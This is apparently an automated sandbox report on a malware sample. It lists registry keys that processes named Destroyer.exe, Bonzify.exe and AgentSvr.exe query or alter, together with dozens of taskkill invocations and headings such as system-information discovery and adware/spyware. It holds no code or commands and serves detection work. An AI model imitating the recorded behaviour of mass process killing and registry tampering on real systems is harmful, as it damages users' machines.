Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 64 IoCs

pid	Process
5128	taskkill.exe
4684	taskkill.exe
3972	taskkill.exe
3576	taskkill.exe
5112	taskkill.exe
4948	taskkill.exe
1580	taskkill.exe
5228	taskkill.exe
4008	taskkill.exe
2660	taskkill.exe
2252	taskkill.exe
1472	taskkill.exe
240	taskkill.exe
2008	taskkill.exe
660	taskkill.exe
1500	taskkill.exe
4520	taskkill.exe
3576	taskkill.exe
4648	taskkill.exe
1580	taskkill.exe
1864	taskkill.exe
3516	taskkill.exe
3136	taskkill.exe
3712	taskkill.exe
2904	taskkill.exe
3972	taskkill.exe
2624	taskkill.exe
5372	taskkill.exe
4968	taskkill.exe
5308	taskkill.exe
3060	taskkill.exe
4720	taskkill.exe
4304	taskkill.exe
5040	taskkill.exe
1040	taskkill.exe
5692	taskkill.exe
2228	taskkill.exe
5660	taskkill.exe
6096	taskkill.exe
1640	taskkill.exe
1376	taskkill.exe
4780	taskkill.exe
4072	taskkill.exe
3496	taskkill.exe
4240	taskkill.exe
3628	taskkill.exe
5768	taskkill.exe
5688	taskkill.exe
3556	taskkill.exe
5124	taskkill.exe
3512	taskkill.exe
3932	taskkill.exe
3516	taskkill.exe
1272	taskkill.exe
1500	taskkill.exe
3980	taskkill.exe
2848	taskkill.exe
4012	taskkill.exe
692	taskkill.exe
716	taskkill.exe
5192	taskkill.exe
3836	taskkill.exe
2888	taskkill.exe
5124	taskkill.exe

Modifies Control Panel 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Desktop\FontSmoothingType = "2"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Colors\WindowFrame = "100 100 100"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Accessibility\AudioDescription\Locale	Bonzify.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Appearance\Schemes\@themeui.dll,-852 = 02000000460000000100000011000000110000001400000014000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000fc7f2214fc7fb0fe120000000000000000009823eb770f0000000e000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000f077002014000000001080051400f01f1400000014001200000012000000f5ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000140088fbe87702020000acb9f0770000010020000000f5ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000007c6be87700000000f5ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000010600000018000000fffffffff04b21fc00c4f077f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000014000b00000000ff120050000000c0fe12000c100001000000000000000080008000008000000000000000000000ffffff00ffffff00ffffff00feffff00ffff0000008000000000000080008000ffffff00000000008080800000ff0000ffffff00ffffff00c0c0c000ffffff00ffffff00ffffff0000000000c0c0c000807fff008000800000800000	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Desktop\Colors\ActiveTitle = "10 36 106"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Colors\Hilight = "0 120 215"	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Desktop\Colors\Menu = "212 208 200"	AgentSvr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Input Method\Hot Keys\00000011\Target IME = 00000000	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Control Panel\Colors\ButtonLight = "227 227 227"	Destroyer.exe

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\International\Scripts\28\IEPropFontName = "Gadugi"	AgentSvr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\GPU	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\International\Scripts\30\IEPropFontName = "Microsoft Yi Baiti"	AgentSvr.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133884814631846104"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\UpdateTimeLast = "133863616174302387"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Control Panel\Colors\Hilight = "51 153 255"	Bonzify.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\PushNotifications\Backup\Windows.System.AppInitiatedDownload\wnsId = "System"	Destroyer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Control Panel\International\User Profile\ShowAutoCorrection = "1"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\WAB\WAB4\Wab File Name\	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Colors\InactiveTitleText = "0 0 0"	AgentSvr.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\DeviceSetupManager.dll,-1000 = "Device Setup Manager"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\Close\DispFileName = "@mmres.dll,-5826"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\PushNotifications\Backup\Windows.SystemToast.BitLockerPolicyRefresh\appType = "app:systel"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Console\ColorTable15 = "15921906"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\PushNotifications\Backup\Windows.SystemToast.DeviceConsent\appType = "app:system"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\Notification.Looping.Alarm6\.Default\ = "%SystemRoot%\\media\\Alarm06.wav"	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\WindowsUnlock\.Default\ = "%SystemRoot%\\mfdia\\Windows Unlock.wav"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Console\ColorTable04 = "2035653"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\My Music = "%USERPROFILE%\\Music"	Bonzify.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\ime\IMTC70\Quick.AssociatedWord = "0x00000001"	Destroyer.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Control Panel\Appearance\Schemes\@themeui.dll,-852 = 02000000460000000100000011000000110000001400000014000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072ff690066000000fc7f2214fc7fb0fe1200ff000000000000009823eb770f0000000f000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630172006f0073006f00660074002000530061006e0073002000530065007200690066000000f077002014000000001080051400f01f1400000014001200000012000000f5ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200153006500720069ff66000000140088fbe877020200ffacb9f0770000000020000000f6ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000007c6be87700000000f5ffffff0000000000010000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000600000018000000fffffffff04b21fc00c4f077f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000014000b00000000ff120050000000c0fe12000c100001000000000000000080018000008000000000000000000000ffffff00ffffff00ffffff00ffffff00ffff0000008000000000000080008000ffffff00000000008080800000ff0000ffffff00ffffff01c0c0c000ffffff00ffffff00ffffff0000000000c0c0c0008080ff008000800000800000	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Control Panel\International\User Profile\ShowTextPrediction = "1"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Control Panel\Accessibility\SlateLaunch\LaunchAT = "1"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Control Panel\Colors\WindowFrame = "100 100 100"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\SystemNotification\.Default\ = "%SyssemRoot%\\media\\Windows Background.wav"	AgentSvr.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\Notification.Looping.Call\ExcludeFromCPL = "1"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols = "10240"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\full = "%SystemRoot%\\System32\\imageres.dll,-54"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\flightsettings.dll,-103 = "Windows Insider Service"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Control Panel\International\iLZero = "1"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Control Panel\Desktop\Colors\InfoWindow = "255 255 255"	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Control Panel\International\sMonDecimalSep = "."	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\AppGPFault\ = "Program Error"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Themes\InstallVisualStyleColor = "NormalColor"	Bonzify.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Control Panel\Appearance\Schemes\@themeui.dll,-852 = 02000000460000000100000011000000110000ff1400000014000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000fc7f2214fc7fb0fe120000000000000000009823eb770f0000000f000000f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000f077002014000000001080051400f01f1400000014001200000012000000f5ffffff000000000000000000000000900100000000000000ff00004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000140088fbe87702020000acb9f0770000000020000000f5ffffff000000000000000000000000900100ff00010000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000007c6be87700000000f5ffffff0000000000000000000000009001000000000000000100004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000600000018000000fffffffff14b21fc00c4f077f5ffffff000000000000000000000000bc02000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000014000b00000000ff120050000000c0fe12000c100001000000000000000080008000008000000000000000000000ffffff00ffffff00ffffff00ffffff00ffff0000008000000000000080008000ffffff00000000008080800000ff0000ffffff00ffffff00c0c0c000ffffff00ffffff00ffffff0000000000c0c0c0008080ff008000800000800000	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Control Panel\International\s2359 = "PM"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\empty = "%SystemRoot%\\System32\\imageres.dll,-55"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Control Panel\Desktop\Colors\HilightText = "255 255 255"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Control Panel\Desktop\DragHeight = "4"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Control Panel\Desktop\WallpaperOriginX = "0"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\ThemeManager\PrePolicy-DllName = "C:\\Windows\\resourbes\\themes\\Aero\\Aero.msstyles"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\Notification.Looping.Alarm9\.Default\ = "%SystemRoot%\\media\\Alarm09.wav"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Control Panel\Colors\HotTrackingColor = "0 102 204"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe\ScreenColors = "86"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Start Menu = "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu"	Destroyer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Control Panel\Input Method\Hot Keys\00000104\Target IME = 110401e0	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Wisp\Touch\Inertia = "1"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\Notification.Looping.Call8\ExcludeFromCPL = "1"	Bonzify.exe
